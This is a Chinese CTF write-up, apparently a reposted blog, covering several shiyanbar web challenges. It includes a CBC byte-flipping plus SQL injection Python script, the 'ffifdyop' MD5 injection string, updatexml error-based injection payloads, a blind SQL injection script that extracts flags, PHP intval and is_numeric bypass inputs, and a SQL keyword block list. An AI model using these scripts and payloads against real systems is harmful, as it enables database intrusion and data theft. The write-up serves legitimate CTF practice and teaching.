1. 程式人生 > >1007.CTF 題目之 WEB Writeup 通關大全 – 1

1007.CTF 題目之 WEB Writeup 通關大全 – 1

今天 hex turn 偏移 live cte 通關 str pst

概述

解除CTF也有很多年了,但是真正的將網上的題目通關刷題還是沒有過的,同時感覺水平下降的太厲害,這兩個月準備把網上目前公開有的CTF環境全部刷一遍,同時收集題目做為素材,為後面的培訓及靶場搭建做好準備。本文是2018年7月8日前所有Web類的題目通關Writeup。

Writeup

簡單的登錄題

題目鏈接 http://www.shiyanbar.com/ctf/2037

此題目雖然放在第一個,分數也不高,但是還是比較復雜的。

技術分享圖片

抓包發現一個提示

技術分享圖片

查看test.php,發現是index.php的源碼。

<?php
define("SECRET_KEY", ‘***********‘);
define("METHOD", "aes-128-cbc");
error_reporting(0);
include(‘conn.php‘);
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}
function get_random_iv(){
    $random_iv=‘‘;
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE[‘cipher‘]) && isset($_COOKIE[‘iv‘])){
        $cipher = base64_decode($_COOKIE[‘cipher‘]);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die(&quot;<p>base64_decode(‘".base64_encode($plain)."‘) can‘t unserialize</p>");
            $sql="select * from users limit ".$info[‘id‘].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)&gt;0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo ‘<h1>Hello!‘.$rows[‘username‘].‘</h1>‘;
            }
            else{
                echo ‘<h1>Hello!</h1>‘;
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST[‘id‘])){
    $id = (string)$_POST[‘id‘];
    if(sqliCheck($id))
        die("<h1 style=‘color:red‘>sql inject detected!</h1>");
    $info = array(‘id‘=&gt;$id);
    login($info);
    echo ‘<h1>Hello!</h1>‘;
}else{
    if(isset($_COOKIE["iv"])&amp;&amp;isset($_COOKIE[‘cipher‘])){
        show_homepage();
    }else{
        echo ‘
                <div id="wrapper" style="margin:0 auto;width:800px">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">

                        </div>
                        <div class="footer">
                        <p></p>
                        </div>
                    </form>
                </div>
            ‘;
    }
}
?&gt;

代碼實現的流程:
1. 提交上來的id,先進行關鍵字的過濾,防止SQL註入,包括=、-、#、union、like、procedure等等,如果檢測到這些敏感字符,則會直接die並返回顯示Sql inject detected。
2. 通過過濾的id,服務器會返回兩個值:iv與cipher。iv:隨機生成的16位值,再經過base64轉碼。cipher:id序列化、預設的SECRET_KEY(打碼)、上面得到的iv值,三者經過aes-128-cbc加密得到cipher值。服務器把iv、cipher設置到cookie然後返回,順便還顯示了一個Hello!
3. 如果Post給服務器的報文,沒有包括id,而且cookie裏有iv和cipher值,則進入函數show_homepage();
4. show_homepage()大致過程:將iv、cipher經過base64解碼,然後把預設的SECRET_KEY(打碼)、iv、cipher經過aes-128-cbc解密,得到plain。
5. 如果plain無法反序列化,則die並返回plain的base64編碼數據;如果可以序列化,則將id值拼接到sql語句中“select * from users limit .$info[‘id‘] ,0”,並提交到數據庫,返回數據,並附在返回的Hello後。

根據程序流程分析,我們的目標是實現sql註入,拿到數據庫的內容應該就可以獲取到Flag了。目前的sql語句為

$sql="select * from users limit ".$info[‘id‘].",0";

根據sql語句,可以開看到,這條語句永遠都返回的0條記錄,除非能夠進行註入,將後面的,0註釋掉,才能夠獲取到數據,如使用語句1,100#

由於過濾了#、--,所以嘗試用%00,用Burp Repeater嘗試,將id=1 %00,post提交,然後用返回的iv、cipher值,作為第二次的cookie,然後去掉id=(這樣做的原因是因為源代碼如果id參數不存在,則獲取到cookie裏的各種值作為查詢的參數,而cookie內的值為上一次的查詢值),再次post,結果能返回Hello!rootzz

如下圖
技術分享圖片
將cookie按照服務器設置要求進行設置
技術分享圖片

沒有按到flag,推測要獲取整個庫第一次提交id時,做了過濾,但是第二次提交iv和cipher值,是不會做過濾的,使用cbc翻轉一個字節進行攻擊(發送一個可以繞過字符過濾的id值,然後通過cbc翻轉攻擊將一部分需要改變的字符修改為我們想要的,達到sql註入目的)。

  1. 提交能經過過濾檢測的SQL語句,如id=12。
  2. 結合得到的iv、cipher,用cbc字節翻轉cipher對應id=12中2的字節,得到cipher_new,提交iv、cipher_new。
  3. 第二次提交得到plain(如果忘了是啥可以往回看)。
  4. 把iv、plain、‘id=12’序列第一行(16個字節為一行),進行異或操作,得到iv_new。
  5. 把iv_new、cipher_new,去掉id=xx post到服務器即可得到 id=1# 的結果,即Hello!rootzz。

使用腳本

#!/usr/bin/env python
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-07
@description : 凱撒輪轉密碼解密
@Update date :   
"""  
from base64 import *
import urllib
import requests
import re

def denglu(payload,idx,c1,c2):
    url=r‘http://ctf5.shiyanbar.com/web/jiandan/index.php‘
    payload = {‘id‘: payload}
    r = requests.post(url, data=payload)
    Set_Cookie=r.headers[‘Set-Cookie‘]
    iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]
    cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]
    iv_raw = b64decode(urllib.unquote(iv))
    cipher_raw=b64decode(urllib.unquote(cipher))
    lst=list(cipher_raw)
    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
    cipher_new=‘‘.join(lst)
    cipher_new=urllib.quote(b64encode(cipher_new))
    cookie_new={‘iv‘: iv,‘cipher‘:cipher_new}
    r = requests.post(url, cookies=cookie_new)
    cont=r.content
    plain = re.findall(r"base64_decode\(‘(.*?)‘\)", cont)[0]
    plain = b64decode(plain)
    first=‘a:1:{s:2:"id";s:‘
    iv_new=‘‘
    for i in range(16):
        iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
    iv_new = urllib.quote(b64encode(iv_new))
    cookie_new = {‘iv‘: iv_new, ‘cipher‘: cipher_new}
    r = requests.post(url, cookies=cookie_new)
    rcont = r.content
    print rcont

denglu(‘12‘,4,‘2‘,‘#‘)
denglu(‘0 2nion select * from((select 1)a join (select 2)b join (select 3)c);‘+chr(0),6,‘2‘,‘u‘)
denglu(‘0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);‘+chr(0),7,‘2‘,‘u‘)
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp ‘you_want‘)b join (select 3)c);"+chr(0),7,‘2‘,‘u‘)
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,‘2‘,‘u‘)

得到結果

<h1><center>Hello!rootzz</center></h1>
<h1><center>Hello!2</center></h1>
<h1><center>Hello!users,you_want</center></h1>
<h1><center>Hello!value</center></h1>
<h1><center>Hello!flag{c42b2b758a5a36228156d9d671c37f19}</center></h1>

參考鏈接
* https://www.jianshu.com/p/4c1e5d24d781 。
* https://blog.csdn.net/csu_vc/article/details/79619309 。
* https://blog.csdn.net/jeffreynnn/article/details/77100389 。

後臺登錄

題目鏈接 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

此題目為MD5加密後的SQL註入,參考鏈接 https://blog.csdn.net/greyfreedom/article/details/45846137 ,基本原理為

今天看到 sql = &quot;SELECT * FROM admin WHERE pass = &#x27;&quot;.md5(sql="SELECT?FROMadminWHEREpass=".md5(password,true)."‘"; 這樣一個sql,其實可以註入。思路比較明確,當md5後的hex轉換成字符串後,如果包含 ‘or‘ 這樣的字符串,所以只要找一個能夠md5轉化後為類似 ‘or‘的字符串,就可以實現註入達到登錄目的,給出這樣一個字符串ffifdyop,md5後276f722736c95d99e921722cf9ed621c,再轉成字符串:‘or‘6

技術分享圖片

加了料的報錯註入

題目鏈接 http://ctf5.shiyanbar.com/web/baocuo/index.php
打開網頁查看源代碼給出了這樣的信息。

<center><h1>Please login!</h1></center><br><center>tips:post username and password...</center>
<!-- $sql="select * from users where username=‘$username‘ and password=‘$password‘";  -->

可以看到sql語句中又username和password。
技術分享圖片
測試後發現有sql註入檢測,想怎麽繞過。使用username=admin‘ or ‘1&amp;password=admin可以發現登錄了,說明登陸後並不會給Flag,那麽flag應該在數據庫中,需要進行暴庫。使用bp利用fuzz字典對username和password分別進行探測。
技術分享圖片
發現username過濾了()等符號,但是沒有過濾updatexml,password過濾了updatexml,所以,考慮一下,可以使用這樣的語句進行報錯註入。

username=1‘ and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or‘1
轉換為sql語句為:
select * from users where username=‘‘1‘ and updatexml/* and password=‘*/(1,concat(0x7e,(SELECT database()),0x7e),1)or‘1‘

完整payload

username=1‘ and updatexml/*&amp;password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or‘1
<br>XPATH syntax error: ‘~error_based_hpf~‘

username=1‘ and updatexml/*&amp;password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema‘error_based_hpf‘) ),0x7e),3)or‘1
<br>XPATH syntax error: ‘~ffll44jj,users~‘

username=1‘ and updatexml/*&amp;password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name‘ffll44jj‘) ),0x7e),3)or‘1
<br>XPATH syntax error: ‘~value~‘

username=1‘ and updatexml/*
&amp;password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or‘1
<br>XPATH syntax error: ‘~flag{err0r_b4sed_sqli_+_hpf}~

技術分享圖片

認真一點!

題目鏈接 http://shiyanbar.com/ctf/2009

拿到題目後,隨意測試了一下。
技術分享圖片
按照套路,就是通過該參數進行註入,然後獲取數據庫中的flag。先進行一下fuzz,包大小為802的都是被過濾的字符。
技術分享圖片
經過其他測試,該題目對or也進行了處理,需要使用大小寫繞過,既Or等。註意空格被幹掉了,用什麽%09替換掉即可,再往後information什麽倒是都沒禁掉,但是註意information中包含or,需要替換掉。寫一個二分盲註腳本即可,具體用到limit的offset偏移。然後它禁掉了substr,但是我們還有mid,用mid(table from offset)即可,使用盲註腳本。

# -*- coding: utf-8 -*-  
import requests
import urllib
url = ‘http://ctf5.shiyanbar.com/web/earnest/index.php‘
temp = 0
headers = {
    "Host": "ctf5.shiyanbar.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "81",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}
def make_payload(target):
    return target.replace(‘ ‘,‘%09‘).replace(‘or‘,‘Or‘)

def get_length(target):     #獲取字段長度
    global headers
    global url  
    for i in range(0,50):
        print i 
        payload = target[:-5]+str(i)+target[-5:]
        payload = urllib.unquote(make_payload(payload))
        #print payload
        data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
        content = requests.post(url=url,headers=headers,data=data).text
        #print content
        if "You are in" in content:
            return i
    return 0

def search2(l,r,target):    #二分盲註嘍,求單字節
    if l&gt;r:
        return 
    global headers
    global url 
    global temp
    mid = (l+r)/2
    payload = target[:-5]+str(mid)+target[-5:]
    payload = urllib.unquote(make_payload(payload))
    print payload
    data = {"id":payload,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"}
    content = requests.post(url=url,headers=headers,data=data).text
    if "You are in" in content:
        temp = max(temp,mid)
        search2(mid+1,r,target)
    else:
        search2(l,mid-1,target)

def get_content(column,table,offset,len,where,sign):    #這麽多參數是為了構造payload
    global temp
    content = ‘‘
    for i in range(1,len+1):
        temp = 0
        if sign==0:
            payload = "0‘Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))&gt;=)Or‘0"
        else:
            payload = "0‘Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))&gt;=)Or‘0"
        search2(0,255,payload)
        content+=chr(temp)
        print content
    return content


#--------獲取數據庫名--------
#payload = "0‘Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or‘0"
#len = get_length(payload) #18
#database = get_content(‘schema_name‘,‘information_schema.schemata‘,"1",18,0,0) #ctf_sql_bool_blind#test

#--------獲取表名--------
#payload = "0‘Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64 limit 1 offset 0))=)Or‘0"
#len = get_length(payload) #4,5
#table = get_content(‘table_name‘,‘information_schema.tables‘,"0",4,‘where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64‘,1) #fiag

#--------獲取列名--------
#payload = "0‘Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or‘0"
#len = get_length(payload) #5
#column = get_content(‘column_name‘,‘information_schema.columns‘,"0",5,‘where table_name=0x66696167‘,1) #fL$4G

#--------獲取字段內容--------
#payload = "0‘Or(length((select fL$4G from fiag  limit 1 offset 0))=)Or‘0"
#len = get_length(payload) #19
flag = get_content(‘fL$4G‘,‘fiag‘,"0",19,‘0‘,0) #flag{haha~you win!}

你真的會PHP嗎

題目鏈接 http://shiyanbar.com/ctf/2008

訪問首頁後可以看到一個提示,查看6c525af4059b4fe7d8c33a.txt文件。
技術分享圖片
查看後發現是index.php的源代碼,進行審計。

<?php


$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 


if(!isset($_POST[‘number‘])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) { 
    foreach($global_var as $key => $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 

//判斷數字是否是回文數
function is_palindrome_number($number) { 
    $number = strval($number); 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


if(is_numeric($_REQUEST[‘number‘])){

   $info="sorry, you cann‘t input a number!";

}elseif($req[‘number‘]!=strval(intval($req[‘number‘]))){

     $info = "number must be equal to it‘s integer!! ";  

}else{

     $value1 = intval($req["number"]);
    //strrev() 函數反轉字符串。
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{

          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;

經過審計我們可以發現如果我們要拿到flag,POST的number需要滿足以下條件:
1. 不為空,且不能是一個數值型數字,包括小數。(由is_numeric函數判斷) 。
2. 不能是一個回文數。(is_palindrome_number判斷)。
3. 該數的反轉的整數值應該和它本身的整數值相等。

下面給出兩種解法:

利用intval函數溢出繞過

Intval函數獲取變量整數值。
Intval最大的值取決於操作系統。 32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval(‘1000000000000’) 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
通過上面我們知道服務器的操作系統是32位的,所以我們構造2147483647就可以同時滿足2,3條件。通過把空字符可以繞過is_numeric的判斷(如%00,%20),所以我們構造以下poc,number=2147483647%00 和number=2147483647%20都可。
對於第一個條件,我們需要構造是讓我們的poc被函數判斷為非數值,但又不影響它值的構造,理所當然想到空格字符和空字符。
而經過測試我發現is_numeric函數對於空字符%00,無論是%00放在前後都可以判斷為非數值,而%20空格字符只能放在數值後。所以,查看函數發現該函數對對於第一個空格字符會跳過空格字符判斷,接著後面的判斷!!
技術分享圖片

用科學計數法構造0=0

因為要求不能為回文數,但又要滿足intval(req[&quot;number&quot;])=intval(strrev(req["number"])=intval(strrev(req["number"])),所以我們采用科學計數法構造poc為number=0e-0%00,這樣的話我們就可以繞過。
技術分享圖片

相關文章

1007.CTF 題目之 WEB Writeup 通關大全 – 1